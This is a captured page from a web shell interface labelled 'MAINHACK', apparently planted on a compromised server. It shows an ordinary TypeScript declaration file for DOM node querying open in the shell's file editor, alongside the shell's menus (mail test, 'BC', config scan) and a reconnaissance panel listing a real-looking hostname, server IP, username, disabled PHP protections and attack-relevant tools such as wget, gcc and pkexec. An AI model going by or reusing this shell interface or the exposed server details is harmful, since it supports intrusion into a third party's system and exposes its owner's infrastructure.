[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: querying.d.ts
import { Node, Element } from "domhandler"; /** * Search a node and its children for nodes passing a test function. * * @param test Function to test nodes on. * @param node Node to search. Will be included in the result set if it matches. * @param recurse Also consider child nodes. * @param limit Maximum number of nodes to return. * @returns All nodes passing `test`. */ export declare function filter(test: (elem: Node) => boolean, node: Node | Node[], recurse?: boolean, limit?: number): Node[]; /** * Search an array of node and its children for nodes passing a test function. * * @param test Function to test nodes on. * @param nodes Array of nodes to search. * @param recurse Also consider child nodes. * @param limit Maximum number of nodes to return. * @returns All nodes passing `test`. */ export declare function find(test: (elem: Node) => boolean, nodes: Node[], recurse: boolean, limit: number): Node[]; /** * Finds the first element inside of an array that matches a test function. * * @param test Function to test nodes on. * @param nodes Array of nodes to search. * @returns The first node in the array that passes `test`. */ export declare function findOneChild(test: (elem: Node) => boolean, nodes: Node[]): Node | undefined; /** * Finds one element in a tree that passes a test. * * @param test Function to test nodes on. * @param nodes Array of nodes to search. * @param recurse Also consider child nodes. * @returns The first child node that passes `test`. */ export declare function findOne(test: (elem: Element) => boolean, nodes: Node[], recurse?: boolean): Element | null; /** * @param test Function to test nodes on. * @param nodes Array of nodes to search. * @returns Whether a tree of nodes contains at least one node passing a test. */ export declare function existsOne(test: (elem: Element) => boolean, nodes: Node[]): boolean; /** * Search and array of nodes and its children for nodes passing a test function. * * Same as `find`, only with less options, leading to reduced complexity. * * @param test Function to test nodes on. * @param nodes Array of nodes to search. * @returns All nodes passing `test`. */ export declare function findAll(test: (elem: Element) => boolean, nodes: Node[]): Element[]; //# sourceMappingURL=querying.d.ts.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002